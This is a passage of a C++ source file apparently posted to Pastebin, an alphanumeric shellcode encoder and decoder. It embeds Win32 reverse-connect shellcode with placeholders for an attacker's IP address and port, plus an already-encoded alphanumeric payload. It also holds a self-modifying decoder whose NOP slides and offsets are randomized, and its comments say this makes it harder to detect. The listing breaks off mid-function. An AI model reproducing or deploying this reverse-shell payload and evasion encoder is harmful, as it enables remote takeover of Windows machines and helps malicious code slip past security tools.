emS-St1ks

Alphanumeric ShellCode En\De St1ks

Jul 12th, 2012
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 99.89 KB | None | 0 0
  1. #include <time.h>
  2. #include <stdio.h>
  3. #include <windows.h>
  4.  
  5. #define MAX_BYTES                            0x100
  6. #define MAX_ENCODED_SHELLCODE                2000 //this will be allocated on the stack
  7. #define MIN_IP_STR_LEN                       7
  8. #define MAX_IP_STR_LEN                       15
  9.  
  10. #define OFFSET_XOR_AL1_A                     15
  11. #define OFFSET_XOR_AL1_B                     18
  12. #define OFFSET_XOR_AL2_A                     37
  13. #define OFFSET_XOR_AL2_B                     40
  14. #define OFFSET_PUSH_DWORD1                   0
  15. #define OFFSET_PUSH_DWORD2                   1
  16. #define OFFSET_PUSH_DWORD3                   4
  17. #define OFFSET_PUSH_DWORD4                   12
  18. #define OFFSET_RANDOMIZED_DECODER_HEAD       14
  19. #define SIZE_RANDOMIZED_DECODER_HEAD         16
  20. BYTE EncodedShellcode[] = // encoded 336 bytes
  21.         "PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO"
  22.         "wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt"
  23.         "Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH"
  24.         "HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq"
  25.         "4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL"
  26.         "mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0"
  27.         "9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px"
  28.         "11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc"
  29.         "CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v"
  30.         "RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD"
  31.         "kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk"
  32.         "1telLPYuGyNvX1TyJ3yLdOwckr";
  33.  
  34. // example: make encoder choose more uppercase bytes...
  35. #define ADDITIONAL_CHARSET                   "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  36.  
  37. #define ALNUM_CHARSET    ADDITIONAL_CHARSET  "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- allowed charset
  38.                                                                                                               //      feel free to
  39. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change - YMMV
  40. #define REGISTER_WITH_ADDRESS_OF_SHELLCODE   esp // <--- change this to the register holding the address of the decoder////////////
  41. #define _Q(str) #str
  42. #define Q(str) _Q(str)          
  43. #define P(str) #str ##" // <--- buffer offset\n"## _Q(str)
  44. ///////////////////////////////////
  45. #define CONNECT_BACK_SHELLCODE   //
  46. //#undef  CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your own - and place it in shellcode[] >-----------------.
  47.                                  ///////////////////////////////////////////////////////////////////                               |
  48. int main();                                                                                       //                               |
  49. UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length); //                               |
  50. UCHAR get_push_register_instruction(UCHAR *reg);                                                  //                               |
  51. UCHAR get_random_alnum_value();                                                                   //                               |
  52. UCHAR get_random_alnum_push_dword_opcode();                                                       //                               |
  53. UCHAR *get_nop_slide(UINT size, UINT slide);                                                      ///////                          |
  54. UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);//                          |
  55. UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);   //                          |
  56. UCHAR *shuffle(UCHAR str[], UINT length);                                                         ///////                          |
  57. DWORD my_htonl(DWORD dw_in);                                                                      //                               |
  58. DWORD ip_str_to_dw(UCHAR *str);                                                                   //                               |
  59. BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key);                       //                               |
  60. BOOL is_alnum(UCHAR c);                                                                           //                               |
  61. BOOL str_is_alnum(UCHAR *str);                                                                    //                               |
  62. UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index);                  //                               |
  63. UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1);  //                               |
  64. struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c);                            //                               |
  65. struct xor2_key *choose_random_node(struct xor2_key *head);                                       //                               |
  66. void free_p_xor2_key(struct xor2_key *node);                                                      //                               |
  67.                                                                                                   //                               |
  68. struct xor2_key {                                                                                 //                               |
  69.     UCHAR xor2;                                                                                   //                               |
  70.     UCHAR key;                                                                                    //                               |
  71.     struct xor2_key *prev;                                                                        //                               |
  72.     struct xor2_key *next;                                                                        //                               |
  73. } xor2_key;                                                                                       //                               |
  74.                                                                                                   //                               |
  75.                                                                                                   //                               |
  76. //  Title:      Win32 Reverse Connect                                                             //                               |
  77. //  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003                            //                               |
  78. //  Author:     hdm[at]metasploit.com                                                             //                               |
  79. #ifdef CONNECT_BACK_SHELLCODE                                                                     //                               |
  80.     #define OFFSET_IP_ADDRESS                    154                                              //                               |
  81.     #define OFFSET_TCP_PORT_NUMBER               159                                              //                               |
  82.     #define IP_ADDRESS                           "127.0.0.1"                                      //                               |
  83.     #define TCP_PORT_NUMBER                      123                                              //                               |
  84.     DWORD ip_address;                                                                             //                               |
  85.     UCHAR shellcode[] =                                                                           //                               |
  86.                     "\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"            //                               |
  87.                     "\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2"            //                               |
  88.                     "\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e"            //                               |
  89.                     "\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64"            //                               |
  90.                     "\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57"            //                               |
  91.                     "\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a"            //                               |
  92.                     "\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8"            //                               |
  93.                     "\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90"            //                               |
  94.                     "\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57"            //                               |
  95.                     "\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68"                                    //                               |
  96.                     "IPIP" // I.P. address                                                        //                               |
  97.                     "\x68"                                                                        //                               |
  98.                     "PORT" // TCP port number                                                     //                               |
  99.                     "\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44\x8d\x3c\x24"            //                               |
  100.                     "\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d"            //                               |
  101.                     "\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10"            //                               |
  102.                     "\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00\x51\xff\x55"            //                               |
  103.                     "\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24\x57\xff\x55"            //                               |
  104.                     "\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b"            //                               |
  105.                     "\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49"            //                               |
  106.                     "\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1"            //                               |
  107.                     "\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01"            //                               |
  108.                     "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb"            //                               |
  109.                     "\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";                           //                               |
  110. #else                                                         //////////////////////////////////////                               |
  111.     UCHAR shellcode[] = "\xCC YOUR SHELLCODE GOES HERE \xCC"; // <----------------- here ------------------------------------------'
  112. #endif                                                        //
  113. DWORD size = sizeof(shellcode)-1;                             //
  114.                                                               //
  115. int main() {                                                  /////////////////////////////////////////////////////////
  116.     //(decoder address is in ecx when decoder starts)                                                                //
  117.     UCHAR PUSH_REGISTER_WITH_DECODER_ADDRESS = get_push_register_instruction(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)); // >----------.
  118. //                                                                                                                   //            |
  119. #define END_OF_ENCODED_SHELLCODE    'A','L','D','N' // this is the terminating string of the encoded shellcode       //            |
  120.     UCHAR str_end_of_encoded_shellcode[]= {END_OF_ENCODED_SHELLCODE};  ////////////////////////////////////////////////            |
  121.     UCHAR xor_al1                       = get_random_alnum_value();    // this is used to zero out AL the first time               |
  122.     UCHAR xor_al2                       = get_random_alnum_value();    // this is used to zero out AL the second time              |
  123.     int offset_imul_key                 = '\xC1';////////////////////////                                                          |
  124.     int jne_xor1                        = '\xC2';//                 >---------------------------------------------------------.    |
  125.     int jne_xor2                        = '\xC3';//            >--------------------------------------------------------------|    |
  126.                                                  // you would need to play with these two values if you want to reduce        |    |
  127.                                                  // the size of the NOP slides - they obviously need to stay alnum.           |    |
  128.                                                  // You could also play with the value of AL before the XOR is done           |    |
  129.                                                  // to get your desired negative offset. keep in mind that it will cost       |    |
  130.                                                  // you instructions to get al to the value you want (if you use xor of       |    |
  131.                                                  // two alphanumeric bytes, you would need to push first alphanumeric         |    |
  132.                                                  // char to the stack, pop eax, then xor it with it's alnum complement)       |    |
  133.                                                  // This playing around would result in an even harder to detect decoder      |    |
  134.                                                  // as the offsets would be different                                         |    |
  135.     int size_decoder                    ='\xC4'; //                                                                           |    |
  136.     int half_size_decoder               ='\xC5'; ////////////////////////////////////////////////////////////////////         |    |
  137.     UCHAR imul_instruction_1            ='\x6B';                                                                   //         |    |
  138.     UCHAR imul_instruction_2            ='\x41';                                                                   //         |    |
  139.     UCHAR imul_instruction_3            ='\xC6'; //size of decoder+1                                               //         |    |
  140.     UCHAR imul_instruction_4            ='\xC7'; //initial key (random alnum)                                      //         |    |
  141.     //                                                                                                             //         |    |
  142.     UINT column=0, i=0;                                                               ///////////////////////////////         |    |
  143.     UCHAR *alnum = ALNUM_CHARSET;                                                     //                                      |    |
  144.     UCHAR *p_alnum = alnum;                                                           //                                      |    |
  145.     UCHAR decoder[] =                                                                 //                                      |    |
  146.     {   ////////////////////////////////////////////////////////////////////////////////                                      |    |
  147.         //                                                                                                                    |    |
  148.         //[step_1] -- multiply first encoded byte with key                                                                    |    |
  149.         //[step_2] -- xor result of step_1 with second encoded byte to get the decoded byte                                   |    |
  150.         //                                                                                                                    |    |
  151.         // Each binary byte is encoded into three alphanumeric bytes.                                                         |    |
  152.         // The first byte multipled by the third byte xor'ed against the second byte yeilds the original                      |    |
  153.         // binary byte.                                                                                                       |    |
  154.         //                                                                                                                    |    |
  155.         // TODO:                                                                                                              |    |
  156.         //    .--(first byte  ^ second byte) * third byte                                                                     |    |
  157.         //    '--(second byte ^  first byte) * third byte                                                                     |    |
  158.         //                                                                                                                    |    |
  159.         //    .--(first byte  ^  third byte) * second byte                                                                    |    |
  160.         //    '--(third byte  ^  first byte) * second byte                                                                    |    |
  161.         //                                                                                                                    |    |
  162.         //    .--(second byte ^  third byte) * first byte                                                                     |    |
  163.         //    '--(third byte  ^ second byte) * first byte                                                                     |    |
  164.         //                                                                                                                    |    |
  165.         //    .--(first byte  * second byte) ^ third byte                                                                     |    |
  166.         //    '--(second byte *  first byte) ^ third byte                                                                     |    |
  167.         //                                                                                                                    |    |
  168.         //    .--(first byte  *  third byte) ^ second byte <-- decoder/encoder implemented                                    |    |
  169.         //    '--(third byte  *  first byte) ^ second byte <-- decoder implemented (same encoder)                             |    |
  170.         //                                                                                                                    |    |
  171.         //    .--(second byte *  third byte) ^ first byte                                                                     |    |
  172.         //    '--(third byte  * second byte) ^ first byte                                                                     |    |
  173.         //                                                                                                                    |    |
  174.         //                                                                                                                    |    |
  175.         // The above is divided into pairs, each pair has the same values (in parenthesis) just at different offsets,         |    |
  176.         // and we can switch them around with no effect. Each option requires a different decoder, but each pair can use the  |    |
  177.         // same encoder.                                                                                                      |    |
  178.         //                                                                                                                    |    |
  179.             /////////// DECODER HEAD (will be randomized by sliding instructions) //////// >----------------------------------|----|---.
  180.    /* 1*/   '\x50',                                   //push ???  (this can change)     // [eax = address of decoder]------+  |    |   |
  181.    /* 2*/   '\x50',                                   //push ???  (this can change)     // [ecx = address of decoder]------+  |    |   |
  182.    /* 3*/   PUSH_REGISTER_WITH_DECODER_ADDRESS,       //push reg  (decoder address)     // [edx = address of decoder]------+  |    |   |
  183.    /* 4*/   PUSH_REGISTER_WITH_DECODER_ADDRESS,       //push reg  (base offset for cmp) // [ebx = address of decoder]------+  |    |   |
  184.    /* 5*/   '\x50',                                   //push ???  (this can change)     // [esp = address of decoder]------+  |    |   |
  185.    /* 7*/   '\x6A', half_size_decoder,                //push 35h  (word offset for cmp) // [ebp = decoder size / 2]--------+  |    |   |
  186.    /*12*/   '\x68', END_OF_ENCODED_SHELLCODE,         //push END_OF_ENCODED_SHELLCODE   // [esi = 4 bytes terminating key]>+  |    |   |
  187.    /*13*/   '\x50',                                   //push ???  (this can change)     // [edi = address of decoder]------+  |    |   |
  188.    /*14*/   '\x61',                                   //popad                           // [set all registers] <-----------'  |    |   |
  189.    /*16*/   '\x6A', xor_al1, //last decoder byte=0xB1 //push XOR_AL1    [JNE_XOR1^0xFF=al^JNE_XOR2=last byte==0xB1] >----.    |    |   |
  190.    /*17*/   '\x58',                                   //pop  eax       <-------------------------------------------------'    |    |   |
  191.    /*19*/   '\x34', xor_al1,                          //xor  al,XOR_AL1        [al = 0x00]                                    |    |   |
  192.    /*20*/   '\x48',                                   //dec  eax               [al = 0xFF] [you can play with AL here...]<----'    |   |
  193.    /*22*/   '\x34', jne_xor1,                         //xor  al,JNE_XOR1            [al = 0xFF ^ JNE_XOR1]                         |   |
  194.    /*25*/   '\x30', '\x42', size_decoder-1,           //xor  byte ptr [edx+size],al >--change-last-byte--.                         |   |
  195.    /*26*/   '\x52',                                   //push edx     [save decoder address on stack]     |                         |   |
  196.    /*27*/   '\x52',                                   //push edx     >----.                              |                         |   |
  197.    /*28*/   '\x59',                                   //pop  ecx   <------'  [ecx = address of decoder]  |                         |   |
  198.    /*29*/   '\x47',                                   //inc edi    we increment ebx keeping the decoder  |                         |   |
  199.    /*30*/   '\x43',                                   //inc ebx    length non-even (edi is unused)       |                         |   |
  200.             //////////////// DECODER_LOOP_START ///////////////////////////////////////////              |                         |   |
  201.    /*31*/   '\x58',      //get address of the decoder //pop  eax                          <---------. <--|-----------------.       |   |
  202.    /*32*/   '\x52',      //save edx                   //push edx   [can use edx now]>---------------|----|---------------. |       |   |
  203.    /*33*/   '\x51',      //save ecx                   //push ecx   [can use ecx now]   >------------|----|-------------. | |       |   |
  204.    /*34*/   '\x50',      //save address of decoder    //push eax   [can use eax now]      >---------|----|-----------. | | |       |   |
  205.    /*35*/   '\x50',      //save eax                   //push eax   >----.                           |    |           | | | |       |   |
  206.    /*36*/   '\x5A',      //restore into edx           //pop  edx <------'                           |    |           | | | |       |   |
  207.    /*38*/   '\x6A', xor_al2, //zero out al            //push XOR_AL2    [al = 0] >----.             |    |           | | | |       |   |
  208.    /*39*/   '\x58',          //zero out al            //pop  eax                      |             |    |           | | | |       |   |
  209.    /*41*/   '\x34', xor_al2, //zero out al            //xor  al,XOR_AL2    <----------'             |    |           | | | |       |   |
  210.    /*42*/   '\x50',      //save al on the stack (al=0)//push eax            >-----------------.     |    |           | | | |       |   |
  211.    /*45*/   '\x32', '\x42', offset_imul_key,          //xor  al,byte ptr [edx+off]            |     |    |           | | | |       |   |
  212.    /*48*/   '\x30', '\x42', offset_imul_key,          //xor  byte ptr [edx+off],al >--this-zero's-the-key----.       | | | |       |   |
  213.    /*49*/   '\x58', //restore al from the stack (al=0)//pop  eax       <----------------------'     |    |   |       | | | |       |   |
  214.    /*52*/   '\x32', '\x41', size_decoder+2, // get key in al  //xor  al,byte ptr [ecx+size+2]       |    |   |       | | | |       |   |
  215.    /*55*/   '\x30', '\x42', offset_imul_key,          //xor  byte ptr [edx+off],al >---this-changes-the-key--|----.  | | | |       |   |
  216.    /*56*/   '\x58',      //restore address of decoder //pop  eax  <---------------------------------|----|---|----|--' | | |       |   |
  217.    /*57*/   '\x59',      //restore ecx [word offset]  //pop  ecx     <------------------------------|----|---|----|----' | |       |   |
  218.    /*58*/   '\x5A',      //restore edx [byte offset]  //pop  edx        <---------------------------|----|---|----|------' |       |   |
  219.    /*59*/   '\x50',      //save address of decoder    //push eax  >---------------------------------|----|---|----|--------'       |   |
  220.             /////////// START NOP_SLIDE_1 /////////////////////////////////////////////////         |    |   |    |                |   |
  221.    /*60*/   '\x41',/////////////////////////////////////inc  ecx///////////////////////////         |    |   |    |                |   |
  222.    /*61*/   '\x49',/////////////////////////////////////dec  ecx///////////////////////////         |    |   |    |                |   |
  223.    /*62*/   '\x41',/////////////////////////////////////inc  ecx///////////////////////////         |    |   |    |                |   |
  224.    /*63*/   '\x49',/////////////////////////////////////dec  ecx+-----------------------+//         |    |   |    |                |   |
  225.    /*64*/   '\x41',//     IMUL can go here and bellow //inc  ecx|                       |//         |    |   |    |                |   |
  226.    /*65*/   '\x49',//                                 //dec  ecx|   16 bytes            |//         |    |   |    |                |   |
  227.    /*66*/   '\x41',//                                 //inc  ecx|   NOP slide           |//         |    |   |    |                |   |
  228.    /*67*/   '\x49',//                                 //dec  ecx|                       |//         |    |   |    |                |   |
  229.    /*68*/   '\x41',//                                 //inc  ebx| can mungle eax until  |//         |    |   |    |                |   |
  230.    /*69*/   '\x49',//       will be randomized        //dec  ebx| IMUL_INSTRUCTION      |//         |    |   |    |                |   |
  231.    /*70*/   '\x41',//                                 //inc  edx|                       |//         |    |   |    |                |   |
  232.    /*71*/   '\x49',//                                 //dec  edx|                       |//         |    |   |    |                |   |
  233.    /*72*/   '\x41',//                                 //inc  esi|                       |//         |    |   |    |                |   |
  234.    /*73*/   '\x49',//                                 //dec  esi+-----------------------+//         |    |   |    |                |   |
  235.    /*74*/   '\x41',//                                 //push eax///////////////////////////         |    |   |    |                |   |
  236.    /*75*/   '\x49',//                                 //pop  eax//////////////////////// //         |    |   |    |                |   |
  237.             //////////// END NOP_SLIDE_1 //////////////////////////////////////////////////         |    |   |    |                |   |
  238.             //                                                                                      |    |   |    |                |   |
  239.             // We can move around the IMUL_INSTRUCTION inside the NOP slides - but not before       |    |   |    |                |   |
  240.             // MAX_OFFSET_OFFSET_IMUL i.e. we can't move it before the first 4 bytes of NOP_SLIDE_1 |    |   |    |                |   |
  241.             // or the offset will not be alphanumeric.                                              |    |   |    |                |   |
  242.             //                                                                                      |    |   |    |                |   |
  243.             // We need to move the IMUL_INSTRUCTION in two byte increments, as we may modify eax in |    |   |    |                |   |
  244.             // NOP_SLIDE_1 and we can't change eax after the IMUL_INSTRUCTION (as the result goes   |    |   |    |                |   |
  245.             // into eax) - this limitation can be overcome if we make sure not to modify eax after  |    |   |    |                |   |
  246.             // the IMUL_INSTRUCTION - and it is easy enough, as we don't care about eax' value at   |    |   |    |                |   |
  247.             // all - so we don't need to restore it. We can simply increment or decrement an unused |    |   |    |                |   |
  248.             // register instead. We happen to have such a register - edi =]                         |    |   |    |                |   |
  249.             //                                                                                      |    |   |    |                |   |
  250.             // So in NOP_SLIDE_1, we can't use push eax;pop eax unless they will not be split by    |    |   |    |                |   |
  251.             // the IMUL_INSTRUCTION - because we would need the value of eax after the imul, and    |    |   |    |                |   |
  252.             // the pop eax would overwrite it                                                       |    |   |    |                |   |
  253.             //                                                                                      |    |   |    |                |   |
  254.             // But we could use a dec eax;inc edi or a dec eax;dec edi combinations (inc eax is not |    |   |    |                |   |
  255.             // alphanumeric.).                                                                      |    |   |    |                |   |
  256.             //                                                                                      |    |   |    |                |   |
  257.             // -OBSOLETE-                                                                           |    |   |    |                |   |
  258.             // I have set here the IMUL_INSTRUCTION between NOP_SLIDE_1 and NOP_SLIDE_2             |    |   |    |                |   |
  259.             // If you wish to move it up, you will need to move it up by an even number of bytes.   |    |   |    |                |   |
  260.             // You will then need to change OFFSET_OFFSET_IMUL accordingly                          |    |   |    |                |   |
  261.             // (add the number of bytes to it)                                                      |    |   |    |                |   |
  262.             // If you wish to move it down, you will need to move it down by an even number of      |    |   |    |                |   |
  263.             // bytes.                                                                               |    |   |    |                |   |
  264.             // You will then need to change OFFSET_OFFSET_IMUL accordingly                          |    |   |    |                |   |
  265.             // (deduct the number of bytes from it)                                                 |    |   |    |                |   |
  266.             //                                                                                      |    |   |    |                |   |
  267.             // TODO: make a routine that moves it around randomally between allowed values          |    |   |    |                |   |
  268.             // and sets the proper offsets                                                          |    |   |    |                |   |
  269.             // this routine should be called after the NOP slides have been randomized.             |    |   |    |                |   |
  270.             //                                                                                      |    |   |    |                |   |
  271.             ////////// START NOP_SLIDE_2 ////////////////////////////////////////////////////       |    |   |    |                |   |
  272.    /*76*/   '\x41',//                                   //inc  ecx///////////////////////////       |    |   |    |                |   |
  273.    /*77*/   '\x49',//                                   //dec  ecx///////////////////////////       |    |   |    |                |   |
  274.    /*78*/   '\x41',//                                   //inc  ebx///////////////////////////       |    |   |    |                |   |
  275.    /*79*/   '\x49',//                                   //dec  ebx+-----------------------+//       |    |   |    |                |   |
  276.    /*80*/   '\x41',//      will be randomized           //inc  edx|                       |//       |    |   |    |                |   |
  277.    /*81*/   '\x49',//                                   //dec  edx|   12 bytes            |//       |    |   |    |                |   |
  278.    /*82*/   '\x41',//                                   //inc  esi|   NOP slide           |//       |    |   |    |                |   |
  279.    /*83*/   '\x49',//                                   //dec  esi|                       |//       |    |   |    |                |   |
  280.    /*84*/   '\x41',//                                   //push eax|                       |//       |    |   |    |                |   |
  281.    /*85*/   '\x49',//                                   //pop  eax|                       |//       |    |   |    |                |   |
  282.    /*86*/   '\x41',//                                   //inc  ecx+-----------------------+//       |    |   |    |                |   |
  283.    /*87*/   '\x49',//                                   //dec  ecx///////////////////////////       |    |   |    |                |   |
  284.             //           IMUL can go down to here                                                   |    |   |    |                |   |
  285.             /////////           [step_1]   //imul eax,dword ptr [ecx+size_decoder+1],45h            |    |   |    |                |   |
  286.    /*91*/imul_instruction_1, imul_instruction_2, imul_instruction_3, imul_instruction_4,// <-This-key-will-change-'                |   |
  287.             ////////// END NOP_SLIDE_2////////////////////////////////////////////////////          |    |                         |   |
  288.    /*92 */  '\x41',      //ecx incremented once       //inc  ecx  ---------------------.            |    |                         |   |
  289.    /*95 */  '\x33', '\x41', size_decoder,   //[step_2]//xor  eax,dword ptr [ecx+size]  | <--------------------store decoded        |   |
  290.    /*98 */  '\x32', '\x42', size_decoder,             //xor  al,byte ptr [edx+size]    |ecx = ecx+2 |    |    byte                 |   |
  291.    /*101*/  '\x30', '\x42', size_decoder,             //xor  byte ptr [edx+size],al    |            |    |(eax=result of IMUL)     |   |
  292.    /*102*/  '\x41',      //ecx incremented twice      //inc  ecx  ---------------------'            |    |                         |   |
  293.    /*103*/  '\x42',      //edx incremented once       //inc  edx                        edx = edx+1 |    |                         |   |
  294.    /*104*/  '\x45',      //ebp incremented once       //inc  ebp                                    |    |                         |   |
  295.    /*107*/  '\x39', '\x34', '\x6B',         //cmp  dword ptr [ebx+ebp*2],esi // check if we reached the end                        |   |
  296.    /*109*/  '\x75', jne_xor2,               // <===0xB1   //jne  DECODER_LOOP_START  >--------------' <--'                         |   |
  297.             '\x00' // If you change the length of the decoder, the jne would need to jump to a different offset than 0xB1          |   |
  298.     };//////////////////////////////////////////////////                                                                           |   |
  299.     UINT shrink;                                      //                                                                           |   |
  300.     UCHAR *found_msg;                                 //                                                                           |   |
  301.     UCHAR *p_decoder = decoder;                       //                                                                           |   |
  302.     UCHAR xor1, xor2, key;                            //                                                                           |   |
  303.     UCHAR temp_buf[3] = "";                           //                                                                           |   |
  304.     UCHAR alnum_shellcode[MAX_ENCODED_SHELLCODE] = "";//                                                                           |   |
  305.     UCHAR *p_alnum_shellcode = alnum_shellcode;       //                 todo: allow for the key to be either the first,           |   |
  306.     struct xor2_key *p_xor2_key = 0;                  //                       the second or the third byte (currently third).     |   |
  307.     UCHAR *p_shellcode = shellcode;                   //                                                                           |   |
  308.     void *_eip = 0;                                   //                                                                           |   |
  309.                                                       //                                                                           |   |
  310.     int offset_nop_slide1;                            //                                                                           |   |
  311.     int offset_nop_slide2;                            //                                                                           |   |
  312.     int offset_half_size_decoder;                     //                                                                           |   |
  313.     int offset_terminating_key;                       //                                                                           |   |
  314.     int offset_imul_instruction1;                     //                                                                           |   |
  315.     int offset_imul_instruction2;                     //                                                                           |   |
  316.     int offset_imul_instruction3;                     //                                                                           |   |
  317.     int offset_imul_instruction4;                     //                                                                           |   |
  318.     int negative_offset_size_decoder1;                //                                                                           |   |
  319.     int negative_offset_size_decoder2;                //                                                                           |   |
  320.     int negative_offset_size_decoder3;                //                                                                           |   |
  321.     int offset_size_decoder_min_1;                    //                                                                           |   |
  322.     int offset_size_decoder_pls_2;                    //                                                                           |   |
  323.     int offset_imul_key_offset1;                      //                                                                           |   |
  324.     int offset_imul_key_offset2;                      //                                                                           |   |
  325.     int offset_imul_key_offset3;                      //                                                                           |   |
  326.     int offset_imul_instruction;                      //                                                                           |   |
  327.     int size_nop_slide1;                              //                                                                           |   |
  328.     int size_nop_slide2;                              //                                                                           |   |
  329.     int offset_jne_xor1;                              //                                                                           |   |
  330.     int offset_jne_xor2;                              //                                                                           |   |
  331.     int decoder_length_section1;                      //                                                                           |   |
  332.     int decoder_length_section2;                      //                                                                           |   |
  333.     int decoder_length_section3;                      //                                                                           |   |
  334.     int imul_instruction_length;                      //                                                                           |   |
  335.     int jne_xor_negative_offset;                      //                                                                           |   |
  336.     int backward_slide_offset;                        //                                                                           |   |
  337.     BOOL decoder_version_1;                           //                                                                           |   |
  338.     UINT srand_value;                                 //                                                                           |   |
  339. #ifdef CONNECT_BACK_SHELLCODE                         /////////////////////////////////////////////                                |   |
  340.     printf("scanning EncodedShellcode for shellcode up to OFFSET_IP_ADDRESS bytes\n");           //                                |   |
  341.     found_msg = scan_str_known_pattern(EncodedShellcode, shellcode, OFFSET_IP_ADDRESS);          //                                |   |
  342.     if (found_msg) printf("shellcode found encoded in EncodedShellcode using %s.\n", found_msg); //                                |   |
  343.     else printf("shellcode not found encoded in EncodedShellcode.\n");/////////////////////////////                                |   |
  344. #endif                                                //////////////////                                                           |   |
  345.     printf("shellcode length:%d\n", size);            //                                                                           |   |
  346.     srand_value = time(NULL);                         //                                                                           |   |
  347. //  srand_value =           ;                         // for debugging                                                             |   |
  348.     srand(srand_value);                               //                                                                           |   |
  349.     printf("srand value=%d\n", srand_value);          //                                                                           |   |
  350.     decoder_version_1 = rand() % 2;                   //                                                                           |   |
  351.                                                       /////                                                                        |   |
  352.     size_decoder                       = strlen(decoder);//                                                                        |   |
  353.     decoder_length_section1            = 30; //////////////                                                                        |   |
  354.     decoder_length_section2            = 29; //                                                                                    |   |
  355.     decoder_length_section3            = 18; //                                                                                    |   |
  356.                                              //                                                                                    |   |
  357.     size_nop_slide1                    = 28; //                                                                                    |   |
  358.     size_nop_slide2                    = 0;  //                                                                                    |   |
  359.                                              //                                                                                    |   |
  360.     imul_instruction_length            = 4;  //                                                                                    |   |
  361.                                              //                                                                                    |   |
  362.     shrink = (rand()%6)*2;                   //////////////////////////////////////////////////// (can shrink up to 10 bytes       |   |
  363.     memmove(decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1-shrink,    //  in 2 byte increments)           |   |
  364.             decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1,           //                                  |   |
  365.                       imul_instruction_length+size_nop_slide2+decoder_length_section3+1);      //                                  |   |
  366.     size_decoder -=shrink;                ///////////////////////////////////////////////////////                                  |   |
  367.     half_size_decoder = size_decoder/2;   //                                                                                       |   |
  368.     size_nop_slide1 -=shrink;             /////////////////////////                                                                |   |
  369.     printf("shrinking decoder by: %d\n", shrink);                //                                                                |   |
  370.                                                                  //                                                                |   |
  371.     offset_imul_instruction            = decoder_length_section1+//                                                                |   |
  372.                                          decoder_length_section2+//                                                                |   |
  373.                                          size_nop_slide1;//////////                                                                |   |
  374.                                                          //                                                                        |   |
  375.     backward_slide_offset = rand() % 15;                 //    (selects a number from 0 to 14 in increments of 1)                  |   |
  376.     strncpy(decoder,                                     //                                                                        |   |
  377.             slide_substr_back(decoder,                   //                                                                        |   |
  378.                               offset_imul_instruction,   //                                                                        |   |
